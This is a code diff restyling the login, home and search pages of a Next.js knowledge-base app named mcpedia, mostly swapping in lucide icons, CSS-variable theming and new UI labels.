<Key className="w-3.5 h-3.5 text-[var(--text-dim)] absolute left-3 top-3.5 pointer-events-none" />
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setShowPassword(!showPassword)}
|
||||
className="absolute right-3 top-2.5 text-xs text-[var(--text-muted)] hover:text-[var(--text-primary)]"
|
||||
className="absolute right-3 top-2.5 text-xs text-[var(--text-muted)] hover:text-[var(--text-primary)] p-1 cursor-pointer"
|
||||
aria-label={showPassword ? "Hide password" : "Show password"}
|
||||
>
|
||||
{showPassword ? "Hide" : "Show"}
|
||||
{showPassword ? <EyeOff className="w-3.5 h-3.5" /> : <Eye className="w-3.5 h-3.5" />}
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
@@ -86,23 +86,24 @@ export default function LoginPage() {
|
||||
<button
|
||||
type="submit"
|
||||
disabled={loading}
|
||||
className="w-full py-2.5 bg-[#5e6ad2] hover:bg-[#6a75e0] text-white rounded-lg transition-all font-medium text-sm shadow-md shadow-[#5e6ad2]/20 disabled:opacity-50 flex items-center justify-center gap-2"
|
||||
className="w-full py-2.5 bg-[var(--brand)] hover:opacity-90 text-[var(--brand-fg)] rounded-lg transition-all font-semibold text-xs shadow-xs disabled:opacity-50 flex items-center justify-center gap-2 cursor-pointer uppercase tracking-wider font-mono"
|
||||
>
|
||||
{loading && (
|
||||
<div className="w-4 h-4 border-2 border-white border-t-transparent rounded-full animate-spin" />
|
||||
<div className="w-3.5 h-3.5 border-2 border-current border-t-transparent rounded-full animate-spin" />
|
||||
)}
|
||||
<span>{loading ? "Authenticating..." : "Sign In"}</span>
|
||||
<span>{loading ? "AUTHENTICATING..." : "AUTHORIZE_ACCESS"}</span>
|
||||
</button>
|
||||
</form>
|
||||
|
||||
<div className="mt-8 pt-6 border-t border-[var(--border-color)] flex items-center justify-between text-xs text-[var(--text-muted)]">
|
||||
<div className="mt-7 pt-5 border-t border-[var(--border-color)] flex items-center justify-between text-xs text-[var(--text-muted)]">
|
||||
<Link
|
||||
href="/"
|
||||
className="hover:text-[var(--text-primary)] transition-colors"
|
||||
className="hover:text-[var(--text-primary)] transition-colors flex items-center gap-1"
|
||||
>
|
||||
← Back to Home
|
||||
<ArrowLeft className="w-3.5 h-3.5" />
|
||||
<span>Return to Home</span>
|
||||
</Link>
|
||||
<span className="text-[11px] text-[var(--text-dim)]">HTTP-only Secure Cookie</span>
|
||||
<span className="text-[10px] text-[var(--text-dim)] font-mono">HTTP Cookie</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
+128
-83
@@ -2,6 +2,19 @@ import Link from "next/link";
|
||||
import { listDocuments, listSections } from "@mcpedia/core";
|
||||
import { getSectionMeta, type SectionConfig } from "@mcpedia/config";
|
||||
import McpConfigSnippet from "@/components/McpConfigSnippet";
|
||||
import InteractiveTopology from "@/components/InteractiveTopology";
|
||||
import {
|
||||
Search,
|
||||
Plus,
|
||||
BookOpen,
|
||||
ArrowRight,
|
||||
Database,
|
||||
Layers,
|
||||
Folder,
|
||||
FileText,
|
||||
Clock,
|
||||
Terminal,
|
||||
} from "lucide-react";
|
||||
|
||||
export const dynamic = "force-dynamic";
|
||||
|
||||
@@ -22,7 +35,6 @@ function slugToTitle(segment: string): string {
|
||||
|
||||
function buildFolderTree(docs: { slug: string; title: string }[], section: string): TreeNode[] {
|
||||
const tree: TreeNode[] = [];
|
||||
const treeIndex = new Map<string, TreeNode>();
|
||||
|
||||
for (const doc of docs) {
|
||||
const parts = doc.slug.split("/");
|
||||
@@ -44,7 +56,6 @@ function buildFolderTree(docs: { slug: string; title: string }[], section: strin
|
||||
isLeaf: false,
|
||||
};
|
||||
current.push(node);
|
||||
treeIndex.set(currentPath, node);
|
||||
}
|
||||
|
||||
if (isLeaf) {
|
||||
@@ -77,26 +88,28 @@ function buildFolderTree(docs: { slug: string; title: string }[], section: strin
|
||||
return sortAll(tree);
|
||||
}
|
||||
|
||||
function renderTree(nodes: TreeNode[], pathname: string) {
|
||||
function renderTree(nodes: TreeNode[]) {
|
||||
return (
|
||||
<ul className="space-y-1">
|
||||
{nodes.map((node) => (
|
||||
{nodes.slice(0, 5).map((node) => (
|
||||
<li key={node.slug}>
|
||||
<Link
|
||||
href={`/${node.slug}`}
|
||||
className={`flex items-center gap-1.5 text-xs py-1 px-1.5 rounded transition-all ${
|
||||
pathname === `/${node.slug}`
|
||||
? "text-[#5e6ad2] dark:text-[#7170ff] bg-[#5e6ad2]/15 font-medium"
|
||||
: "text-[var(--text-muted)] hover:text-[var(--text-primary)] hover:bg-[var(--bg-elevated)]"
|
||||
}`}
|
||||
className="flex items-center gap-2 text-xs py-1 px-2 rounded-md text-[var(--text-muted)] hover:text-[var(--text-primary)] hover:bg-[var(--bg-elevated)] transition-colors group"
|
||||
title={node.title}
|
||||
>
|
||||
<span className="opacity-80">{node.isLeaf && node.children.length === 0 ? "📄" : "📁"}</span>
|
||||
<span className="shrink-0 text-[var(--text-dim)] group-hover:text-[var(--text-primary)] transition-colors">
|
||||
{node.isLeaf && node.children.length === 0 ? (
|
||||
<FileText className="w-3.5 h-3.5" />
|
||||
) : (
|
||||
<Folder className="w-3.5 h-3.5" />
|
||||
)}
|
||||
</span>
|
||||
<span className="truncate">{node.title || node.name}</span>
|
||||
</Link>
|
||||
{node.children.length > 0 && (
|
||||
<div className="ml-3.5 border-l border-[var(--border-color)] pl-2 mt-0.5">
|
||||
{renderTree(node.children, pathname)}
|
||||
<div className="ml-3 border-l border-[var(--border-color)] pl-2 mt-0.5">
|
||||
{renderTree(node.children)}
|
||||
</div>
|
||||
)}
|
||||
</li>
|
||||
@@ -105,13 +118,7 @@ function renderTree(nodes: TreeNode[], pathname: string) {
|
||||
);
|
||||
}
|
||||
|
||||
interface SectionTreeProps {
|
||||
section: string;
|
||||
docs: { slug: string; title: string }[];
|
||||
pathname: string;
|
||||
}
|
||||
|
||||
function SectionTree({ section, docs, pathname }: SectionTreeProps) {
|
||||
function SectionTree({ section, docs }: { section: string; docs: { slug: string; title: string }[] }) {
|
||||
const tree = buildFolderTree(
|
||||
docs.filter((d) => d.slug.startsWith(`${section}/`)),
|
||||
section,
|
||||
@@ -120,9 +127,9 @@ function SectionTree({ section, docs, pathname }: SectionTreeProps) {
|
||||
return (
|
||||
<div>
|
||||
{tree.length > 0 ? (
|
||||
renderTree(tree, pathname)
|
||||
renderTree(tree)
|
||||
) : (
|
||||
<p className="text-xs text-[var(--text-dim)] pl-1">No documents</p>
|
||||
<p className="text-xs text-[var(--text-dim)] pl-2">No documents</p>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
@@ -144,76 +151,110 @@ export default async function HomePage() {
|
||||
return (
|
||||
<div className="space-y-16">
|
||||
{/* Hero Section */}
|
||||
<section className="relative pt-4 pb-2">
|
||||
<div className="inline-flex items-center gap-2 px-3 py-1 rounded-full bg-[#5e6ad2]/10 border border-[#5e6ad2]/25 text-[#5e6ad2] dark:text-[#7170ff] text-xs font-medium mb-6">
|
||||
<span className="w-2 h-2 rounded-full bg-[#5e6ad2] animate-pulse" />
|
||||
<span>Model Context Protocol + PostgreSQL Core</span>
|
||||
<section className="relative pt-2 pb-4">
|
||||
{/* Status indicator stamp */}
|
||||
<div className="inline-flex items-center gap-2 px-2.5 py-1 rounded-md bg-[var(--bg-elevated)] border border-[var(--border-color)] text-[var(--text-secondary)] text-xs font-mono mb-6">
|
||||
<span className="w-1.5 h-1.5 rounded-full bg-emerald-500" />
|
||||
<span>PostgreSQL 16 Core · Model Context Protocol</span>
|
||||
</div>
|
||||
|
||||
<h1 className="text-4xl sm:text-5xl lg:text-6xl font-bold text-[var(--text-primary)] tracking-tight mb-5 leading-tight">
|
||||
{/* Primary Title with strong monolithic weight */}
|
||||
<h1 className="text-4xl sm:text-5xl lg:text-6xl font-extrabold text-[var(--text-primary)] tracking-tight mb-5 leading-[1.1]">
|
||||
Knowledge Base for <br />
|
||||
<span className="bg-gradient-to-r from-[#5e6ad2] via-[#7170ff] to-[#4338ca] dark:to-white bg-clip-text text-transparent">
|
||||
Humans and AI Agents
|
||||
</span>
|
||||
Humans and AI Agents.
|
||||
</h1>
|
||||
|
||||
{/* Subtitle */}
|
||||
<p className="text-base sm:text-lg text-[var(--text-muted)] max-w-2xl leading-relaxed mb-8">
|
||||
A high-performance, database-backed documentation system. Browse hierarchical notes and technical writeups in your browser, or connect AI coding assistants directly via native MCP tools.
|
||||
A high-performance technical knowledge repository. Humans read the web interface; AI assistants connect directly via native MCP tools. Both share one unified database source of truth.
|
||||
</p>
|
||||
|
||||
{/* Quick action buttons & stats */}
|
||||
{/* Quick Action Buttons */}
|
||||
<div className="flex flex-wrap items-center gap-3 mb-10">
|
||||
<Link
|
||||
href="/docs"
|
||||
className="inline-flex items-center gap-2 px-5 py-2.5 bg-[#5e6ad2] hover:bg-[#6a75e0] text-white rounded-lg font-medium text-sm transition-all shadow-md shadow-[#5e6ad2]/20"
|
||||
className="inline-flex items-center gap-2 px-5 py-2.5 bg-[var(--brand)] hover:opacity-90 text-[var(--brand-fg)] rounded-lg font-semibold text-sm transition-all shadow-xs cursor-pointer"
|
||||
>
|
||||
<BookOpen className="w-4 h-4" />
|
||||
<span>Browse Documentation</span>
|
||||
<span>→</span>
|
||||
<ArrowRight className="w-4 h-4 ml-0.5" />
|
||||
</Link>
|
||||
|
||||
<Link
|
||||
href="/search"
|
||||
className="inline-flex items-center gap-2 px-5 py-2.5 bg-[var(--bg-surface)] hover:bg-[var(--bg-elevated)] border border-[var(--border-color)] hover:border-[var(--brand)] text-[var(--text-secondary)] hover:text-[var(--text-primary)] rounded-lg font-medium text-sm transition-all shadow-sm"
|
||||
className="inline-flex items-center gap-2 px-5 py-2.5 bg-[var(--bg-surface)] hover:bg-[var(--bg-elevated)] border border-[var(--border-color)] hover:border-[var(--text-muted)] text-[var(--text-primary)] rounded-lg font-semibold text-sm transition-colors shadow-xs"
|
||||
>
|
||||
<svg className="w-4 h-4 text-[var(--text-muted)]" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
|
||||
</svg>
|
||||
<Search className="w-4 h-4 text-[var(--text-muted)]" />
|
||||
<span>Hybrid Search</span>
|
||||
</Link>
|
||||
|
||||
<Link
|
||||
href="/create"
|
||||
className="inline-flex items-center gap-1.5 px-4 py-2.5 bg-[var(--bg-surface)] hover:bg-[var(--bg-elevated)] border border-[var(--border-color)] text-[var(--text-muted)] hover:text-[var(--text-primary)] rounded-lg text-sm transition-colors shadow-sm"
|
||||
className="inline-flex items-center gap-1.5 px-4 py-2.5 bg-[var(--bg-surface)] hover:bg-[var(--bg-elevated)] border border-[var(--border-color)] text-[var(--text-muted)] hover:text-[var(--text-primary)] rounded-lg text-sm transition-colors shadow-xs"
|
||||
>
|
||||
<span>+ Create Document</span>
|
||||
<Plus className="w-4 h-4" />
|
||||
<span>Create Document</span>
|
||||
</Link>
|
||||
</div>
|
||||
|
||||
{/* Stats bar */}
|
||||
<div className="grid grid-cols-2 sm:grid-cols-4 gap-3 p-4 bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl max-w-3xl shadow-sm">
|
||||
<div>
|
||||
<div className="text-xl font-bold text-[var(--text-primary)]">{all.length}</div>
|
||||
<div className="text-xs text-[var(--text-muted)]">Documents in DB</div>
|
||||
{/* Live Telemetry Metric Strip */}
|
||||
<div className="grid grid-cols-2 sm:grid-cols-4 gap-3 p-4 sm:p-5 bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl shadow-xs">
|
||||
<div className="flex items-center gap-3">
|
||||
<div className="p-2 rounded-lg bg-[var(--bg-elevated)] text-[var(--text-primary)] border border-[var(--border-color)]">
|
||||
<Database className="w-4 h-4" />
|
||||
</div>
|
||||
<div>
|
||||
<div className="text-xl font-bold text-[var(--text-primary)] font-mono">{all.length}</div>
|
||||
<div className="text-[11px] text-[var(--text-muted)] font-mono">DB Documents</div>
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<div className="text-xl font-bold text-[var(--text-primary)]">{sections.length}</div>
|
||||
<div className="text-xs text-[var(--text-muted)]">Active sections</div>
|
||||
|
||||
<div className="flex items-center gap-3">
|
||||
<div className="p-2 rounded-lg bg-[var(--bg-elevated)] text-[var(--text-primary)] border border-[var(--border-color)]">
|
||||
<Layers className="w-4 h-4" />
|
||||
</div>
|
||||
<div>
|
||||
<div className="text-xl font-bold text-[var(--text-primary)] font-mono">{sections.length}</div>
|
||||
<div className="text-[11px] text-[var(--text-muted)] font-mono">Active Sections</div>
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<div className="text-xl font-bold text-[#5e6ad2] dark:text-[#7170ff]">RRF Hybrid</div>
|
||||
<div className="text-xs text-[var(--text-muted)]">FTS + Cosine Vectors</div>
|
||||
|
||||
<div className="flex items-center gap-3">
|
||||
<div className="p-2 rounded-lg bg-[var(--bg-elevated)] text-[var(--text-primary)] border border-[var(--border-color)]">
|
||||
<Search className="w-4 h-4" />
|
||||
</div>
|
||||
<div>
|
||||
<div className="text-xl font-bold text-[var(--text-primary)] font-mono">RRF</div>
|
||||
<div className="text-[11px] text-[var(--text-muted)] font-mono">FTS + Cosine Vectors</div>
|
||||
</div>
|
||||
</div>
|
||||
<div>
|
||||
<div className="text-xl font-bold text-emerald-600 dark:text-emerald-400">13 MCP Tools</div>
|
||||
<div className="text-xs text-[var(--text-muted)]">Streamable HTTP :4021</div>
|
||||
|
||||
<div className="flex items-center gap-3">
|
||||
<div className="p-2 rounded-lg bg-[var(--bg-elevated)] text-[var(--text-primary)] border border-[var(--border-color)]">
|
||||
<Terminal className="w-4 h-4" />
|
||||
</div>
|
||||
<div>
|
||||
<div className="text-xl font-bold text-[var(--text-primary)] font-mono">13 Tools</div>
|
||||
<div className="text-[11px] text-[var(--text-muted)] font-mono">HTTP :4021 MCP</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
{/* Browse by Section */}
|
||||
{/* Interactive System Architecture & Topology */}
|
||||
<section>
|
||||
<div className="flex items-center justify-between mb-6">
|
||||
<h2 className="text-xs font-semibold text-[var(--text-muted)] uppercase tracking-wider">
|
||||
Browse by Section
|
||||
</h2>
|
||||
<InteractiveTopology />
|
||||
</section>
|
||||
|
||||
{/* Browse Knowledge by Section */}
|
||||
<section>
|
||||
<div className="flex items-center justify-between mb-5">
|
||||
<div className="flex items-center gap-2">
|
||||
<Layers className="w-4 h-4 text-[var(--text-muted)]" />
|
||||
<h2 className="text-xs font-bold text-[var(--text-muted)] uppercase tracking-wider font-mono">
|
||||
Knowledge Sections
|
||||
</h2>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-4">
|
||||
@@ -222,19 +263,19 @@ export default async function HomePage() {
|
||||
return (
|
||||
<div
|
||||
key={s.id}
|
||||
className="group flex flex-col justify-between bg-[var(--bg-surface)] hover:bg-[var(--bg-surface-hover)] border border-[var(--border-color)] hover:border-[var(--brand)] rounded-xl p-5 transition-all shadow-sm"
|
||||
className="group flex flex-col justify-between bg-[var(--bg-surface)] hover:bg-[var(--bg-surface-hover)] border border-[var(--border-color)] hover:border-[var(--text-muted)] rounded-xl p-5 transition-all shadow-xs"
|
||||
>
|
||||
<div>
|
||||
<div className="flex items-center justify-between gap-2 mb-3">
|
||||
<span className="text-2xl">{s.icon}</span>
|
||||
<Link
|
||||
href={`/${s.id}`}
|
||||
className="text-xs font-mono text-[#5e6ad2] dark:text-[#7170ff] hover:underline"
|
||||
className="text-xs font-mono text-[var(--text-muted)] hover:text-[var(--text-primary)] font-semibold"
|
||||
>
|
||||
{sectionDocs.length} docs →
|
||||
</Link>
|
||||
</div>
|
||||
<h3 className="font-semibold text-base text-[var(--text-primary)] group-hover:text-[#5e6ad2] dark:group-hover:text-[#7170ff] transition-colors mb-1.5">
|
||||
<h3 className="font-bold text-sm text-[var(--text-primary)] mb-1">
|
||||
{s.label}
|
||||
</h3>
|
||||
<p className="text-xs text-[var(--text-muted)] mb-4 line-clamp-2 leading-relaxed">
|
||||
@@ -242,12 +283,11 @@ export default async function HomePage() {
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Inline folder tree */}
|
||||
{/* Inline folder directory preview */}
|
||||
<div className="pt-3 border-t border-[var(--border-color)]">
|
||||
<SectionTree
|
||||
section={s.id}
|
||||
docs={all.map((d) => ({ slug: d.slug, title: d.title }))}
|
||||
pathname="/"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
@@ -256,33 +296,38 @@ export default async function HomePage() {
|
||||
</div>
|
||||
</section>
|
||||
|
||||
{/* Recent Documents */}
|
||||
{/* Recently Updated Knowledge */}
|
||||
{recent.length > 0 && (
|
||||
<section>
|
||||
<div className="flex items-center justify-between mb-6">
|
||||
<h2 className="text-xs font-semibold text-[var(--text-muted)] uppercase tracking-wider">
|
||||
Recently Updated Knowledge
|
||||
</h2>
|
||||
<div className="flex items-center justify-between mb-5">
|
||||
<div className="flex items-center gap-2">
|
||||
<Clock className="w-4 h-4 text-[var(--text-muted)]" />
|
||||
<h2 className="text-xs font-bold text-[var(--text-muted)] uppercase tracking-wider font-mono">
|
||||
Recently Updated
|
||||
</h2>
|
||||
</div>
|
||||
<Link
|
||||
href="/docs"
|
||||
className="text-xs text-[#5e6ad2] dark:text-[#7170ff] hover:underline font-medium"
|
||||
className="text-xs text-[var(--text-muted)] hover:text-[var(--text-primary)] font-semibold flex items-center gap-1 font-mono"
|
||||
>
|
||||
View all ({all.length}) →
|
||||
<span>View all ({all.length})</span>
|
||||
<ArrowRight className="w-3 h-3" />
|
||||
</Link>
|
||||
</div>
|
||||
|
||||
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-4">
|
||||
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-3.5">
|
||||
{recent.map((d) => {
|
||||
const sInfo = getSectionMeta(d.section);
|
||||
return (
|
||||
<Link
|
||||
key={d.slug}
|
||||
href={`/${d.slug}`}
|
||||
className="group block bg-[var(--bg-surface)] hover:bg-[var(--bg-surface-hover)] border border-[var(--border-color)] hover:border-[var(--brand)] rounded-xl p-4 transition-all shadow-sm"
|
||||
className="group block bg-[var(--bg-surface)] hover:bg-[var(--bg-surface-hover)] border border-[var(--border-color)] hover:border-[var(--text-muted)] rounded-xl p-4.5 transition-all shadow-xs"
|
||||
>
|
||||
<div className="flex items-center justify-between gap-2 mb-2">
|
||||
<span className="text-xs font-mono text-[#5e6ad2] dark:text-[#7170ff] uppercase">
|
||||
{sInfo?.icon} {d.section}
|
||||
<span className="text-[11px] font-mono font-semibold text-[var(--text-muted)] uppercase flex items-center gap-1">
|
||||
<span>{sInfo?.icon}</span>
|
||||
<span>{d.section}</span>
|
||||
</span>
|
||||
<time className="text-[11px] text-[var(--text-dim)] font-mono">
|
||||
{new Date(d.updatedAt).toLocaleDateString(undefined, {
|
||||
@@ -291,15 +336,15 @@ export default async function HomePage() {
|
||||
})}
|
||||
</time>
|
||||
</div>
|
||||
<h3 className="font-medium text-sm text-[var(--text-primary)] group-hover:text-[#5e6ad2] dark:group-hover:text-[#7170ff] transition-colors line-clamp-1 mb-2">
|
||||
<h3 className="font-semibold text-sm text-[var(--text-primary)] group-hover:underline line-clamp-1 mb-2">
|
||||
{d.title}
|
||||
</h3>
|
||||
{d.tags.length > 0 && (
|
||||
<div className="flex flex-wrap gap-1">
|
||||
<div className="flex flex-wrap gap-1 mt-2.5">
|
||||
{d.tags.slice(0, 3).map((t) => (
|
||||
<span
|
||||
key={t}
|
||||
className="text-[10px] px-1.5 py-0.25 bg-[var(--bg-elevated)] border border-[var(--border-color)] rounded text-[var(--text-muted)]"
|
||||
className="text-[10px] px-1.5 py-0.2 bg-[var(--bg-elevated)] border border-[var(--border-color)] rounded text-[var(--text-muted)] font-mono"
|
||||
>
|
||||
#{t}
|
||||
</span>
|
||||
@@ -313,17 +358,17 @@ export default async function HomePage() {
|
||||
</section>
|
||||
)}
|
||||
|
||||
{/* MCP Agent Integration Showcase */}
|
||||
{/* Connect AI Assistant Showcase */}
|
||||
<section className="border-t border-[var(--border-color)] pt-12 pb-6">
|
||||
<div className="mb-6">
|
||||
<div className="inline-flex items-center gap-1.5 px-2.5 py-0.5 rounded bg-[var(--bg-elevated)] border border-[var(--border-color)] text-[var(--text-muted)] text-xs font-mono mb-2">
|
||||
<span>⚡ Native Model Context Protocol (MCP)</span>
|
||||
<span>[ MCP_INTEGRATION ]</span>
|
||||
</div>
|
||||
<h2 className="text-2xl font-bold text-[var(--text-primary)] tracking-tight mb-2">
|
||||
Connect AI Coding Assistants
|
||||
<h2 className="text-2xl font-bold text-[var(--text-primary)] tracking-tight mb-1.5">
|
||||
Model Context Protocol Configuration
|
||||
</h2>
|
||||
<p className="text-sm text-[var(--text-muted)] max-w-xl">
|
||||
Give Claude Desktop, Cursor, Antigravity, or Zed direct access to your knowledge base via semantic search, read resources, and document tools.
|
||||
<p className="text-xs sm:text-sm text-[var(--text-muted)] max-w-xl leading-relaxed">
|
||||
Equip Claude Desktop, Cursor, Antigravity, or custom agents with direct access to your knowledge base via semantic search, read resources, and document tools.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
|
||||
@@ -4,6 +4,10 @@ import { useState, useEffect, useCallback, Suspense } from "react";
|
||||
import Link from "next/link";
|
||||
import { useSearchParams } from "next/navigation";
|
||||
import { DEFAULT_SECTIONS, type SectionConfig } from "@mcpedia/config/sections";
|
||||
import {
|
||||
Search,
|
||||
X,
|
||||
} from "lucide-react";
|
||||
|
||||
interface DocHit {
|
||||
slug: string;
|
||||
@@ -78,73 +82,68 @@ function SearchContent() {
|
||||
}
|
||||
}
|
||||
|
||||
const filteredResults = selectedSection === "all"
|
||||
? results
|
||||
: results.filter((r) => r.section === selectedSection);
|
||||
const filteredResults =
|
||||
selectedSection === "all"
|
||||
? results
|
||||
: results.filter((r) => r.section === selectedSection);
|
||||
|
||||
return (
|
||||
<div className="max-w-4xl space-y-8">
|
||||
{/* Header */}
|
||||
<div>
|
||||
<h1 className="text-3xl font-bold text-[var(--text-primary)] tracking-tight mb-2">
|
||||
Search Knowledge Base
|
||||
<h1 className="text-3xl font-extrabold text-[var(--text-primary)] tracking-tight mb-2">
|
||||
Multi-Modal Search Console
|
||||
</h1>
|
||||
<p className="text-sm text-[var(--text-muted)]">
|
||||
Find answers across all documentation, CTF writeups, research notes, and semantic vector chunks.
|
||||
<p className="text-xs sm:text-sm text-[var(--text-muted)] leading-relaxed">
|
||||
Query across knowledge documents and CTF writeups using PostgreSQL Full-Text Search (tsvector), Cosine Vector Embeddings, or Reciprocal Rank Fusion (RRF).
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Search Box & Controls */}
|
||||
<div className="bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl p-4 sm:p-5 shadow-sm space-y-4">
|
||||
{/* Search Input */}
|
||||
<div className="bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl p-4 sm:p-5 shadow-xs space-y-4">
|
||||
{/* Search Input Bar */}
|
||||
<div className="relative">
|
||||
<input
|
||||
type="search"
|
||||
value={query}
|
||||
onChange={handleChange}
|
||||
placeholder="Search by keywords, challenge names, tools, concepts..."
|
||||
className="w-full pl-11 pr-10 py-3 bg-[var(--bg-elevated)] border border-[var(--border-color)] hover:border-[var(--brand)] rounded-lg text-[var(--text-primary)] placeholder-[var(--text-dim)] focus:outline-none focus:border-[var(--brand)] focus:ring-2 focus:ring-[#5e6ad2]/20 text-base transition-all"
|
||||
className="w-full pl-10 pr-9 py-3 bg-[var(--bg-elevated)] border border-[var(--border-color)] hover:border-[var(--text-muted)] rounded-lg text-[var(--text-primary)] placeholder-[var(--text-dim)] focus:outline-none focus:border-[var(--text-primary)] text-sm transition-all"
|
||||
autoFocus
|
||||
/>
|
||||
<svg
|
||||
className="w-5 h-5 text-[#5e6ad2] dark:text-[#7170ff] absolute left-3.5 top-3.5"
|
||||
fill="none"
|
||||
viewBox="0 0 24 24"
|
||||
stroke="currentColor"
|
||||
>
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
|
||||
</svg>
|
||||
<Search className="w-4 h-4 text-[var(--text-muted)] absolute left-3.5 top-3.5 pointer-events-none" />
|
||||
{query && (
|
||||
<button
|
||||
onClick={() => {
|
||||
setQuery("");
|
||||
setResults([]);
|
||||
}}
|
||||
className="absolute right-3.5 top-3.5 text-xs text-[var(--text-muted)] hover:text-[var(--text-primary)] p-0.5"
|
||||
className="absolute right-3 top-3 p-0.5 text-[var(--text-dim)] hover:text-[var(--text-primary)] rounded"
|
||||
aria-label="Clear query"
|
||||
>
|
||||
✕
|
||||
<X className="w-4 h-4" />
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Search Mode & Section Filters */}
|
||||
<div className="flex flex-col sm:flex-row sm:items-center justify-between gap-3 pt-2 border-t border-[var(--border-color)] text-xs">
|
||||
{/* Algorithm & Filter Controls */}
|
||||
<div className="flex flex-col sm:flex-row sm:items-center justify-between gap-3 pt-2.5 border-t border-[var(--border-color)] text-xs">
|
||||
{/* Mode Selector */}
|
||||
<div className="flex items-center gap-1.5 flex-wrap">
|
||||
<span className="text-[var(--text-muted)] mr-1">Algorithm:</span>
|
||||
<span className="text-[var(--text-dim)] font-mono uppercase text-[10px] mr-1">Algorithm:</span>
|
||||
{[
|
||||
{ id: "hybrid", label: "⚡ Hybrid (RRF)", desc: "FTS + Vector Fusion" },
|
||||
{ id: "keyword", label: "🔍 Keyword", desc: "PostgreSQL FTS" },
|
||||
{ id: "semantic", label: "🧠 Semantic", desc: "Embeddings Cosine" },
|
||||
{ id: "hybrid", label: "Hybrid (RRF)", desc: "Reciprocal Rank Fusion (FTS + Vector)" },
|
||||
{ id: "keyword", label: "Keyword (FTS)", desc: "PostgreSQL GIN tsvector" },
|
||||
{ id: "semantic", label: "Semantic Vector", desc: "Cosine Similarity Embeddings" },
|
||||
].map((m) => (
|
||||
<button
|
||||
key={m.id}
|
||||
type="button"
|
||||
onClick={() => handleModeChange(m.id as SearchMode)}
|
||||
title={m.desc}
|
||||
className={`px-3 py-1 rounded-md border font-medium transition-all ${
|
||||
className={`px-3 py-1 rounded-md border text-xs font-medium transition-all cursor-pointer ${
|
||||
mode === m.id
|
||||
? "bg-[#5e6ad2] border-[#5e6ad2] text-white shadow-sm"
|
||||
? "bg-[var(--brand)] border-[var(--brand)] text-[var(--brand-fg)] font-semibold shadow-xs"
|
||||
: "bg-[var(--bg-elevated)] border-[var(--border-color)] text-[var(--text-muted)] hover:text-[var(--text-primary)]"
|
||||
}`}
|
||||
>
|
||||
@@ -158,22 +157,22 @@ function SearchContent() {
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setSelectedSection("all")}
|
||||
className={`px-2.5 py-1 rounded-md text-xs transition-colors ${
|
||||
className={`px-2.5 py-1 rounded-md text-xs font-medium transition-colors ${
|
||||
selectedSection === "all"
|
||||
? "bg-[var(--bg-elevated-hover)] text-[var(--text-primary)] font-medium"
|
||||
? "bg-[var(--bg-elevated-hover)] text-[var(--text-primary)] font-semibold"
|
||||
: "text-[var(--text-dim)] hover:text-[var(--text-muted)]"
|
||||
}`}
|
||||
>
|
||||
All Sections
|
||||
All
|
||||
</button>
|
||||
{sections.map((s) => (
|
||||
<button
|
||||
key={s.id}
|
||||
type="button"
|
||||
onClick={() => setSelectedSection(s.id)}
|
||||
className={`px-2.5 py-1 rounded-md text-xs transition-colors ${
|
||||
className={`px-2.5 py-1 rounded-md text-xs font-medium transition-colors ${
|
||||
selectedSection === s.id
|
||||
? "bg-[var(--bg-elevated-hover)] text-[var(--text-primary)] font-medium"
|
||||
? "bg-[var(--bg-elevated-hover)] text-[var(--text-primary)] font-semibold"
|
||||
: "text-[var(--text-dim)] hover:text-[var(--text-muted)]"
|
||||
}`}
|
||||
>
|
||||
@@ -184,38 +183,45 @@ function SearchContent() {
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{/* Loading State */}
|
||||
{/* Loading Spinner */}
|
||||
{loading && (
|
||||
<div className="flex items-center gap-3 py-8 text-[var(--text-muted)] text-sm">
|
||||
<div className="w-5 h-5 border-2 border-[#5e6ad2] border-t-transparent rounded-full animate-spin" />
|
||||
<span>Searching knowledge base...</span>
|
||||
<div className="flex items-center justify-center gap-3 py-10 text-[var(--text-muted)] text-xs font-mono">
|
||||
<div className="w-4 h-4 border-2 border-[var(--text-muted)] border-t-transparent rounded-full animate-spin" />
|
||||
<span>SEARCHING_VECTOR_SPACE...</span>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Empty State */}
|
||||
{!loading && query && filteredResults.length === 0 && (
|
||||
<div className="text-center py-16 bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl shadow-sm">
|
||||
<div className="text-3xl mb-3">🔍</div>
|
||||
<h3 className="text-base font-semibold text-[var(--text-primary)] mb-1">No matching documents</h3>
|
||||
<div className="text-center py-12 bg-[var(--bg-surface)] border border-[var(--border-color)] rounded-xl shadow-xs space-y-2 animate-fade-in">
|
||||
<h3 className="text-sm font-bold text-[var(--text-primary)]">No matching documents found</h3>
|
||||
<p className="text-xs text-[var(--text-muted)] max-w-sm mx-auto">
|
||||
Try switching algorithm mode to <strong>Hybrid</strong> or <strong>Semantic</strong>, or search with different keywords.
|
||||
</p>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Initial Hint */}
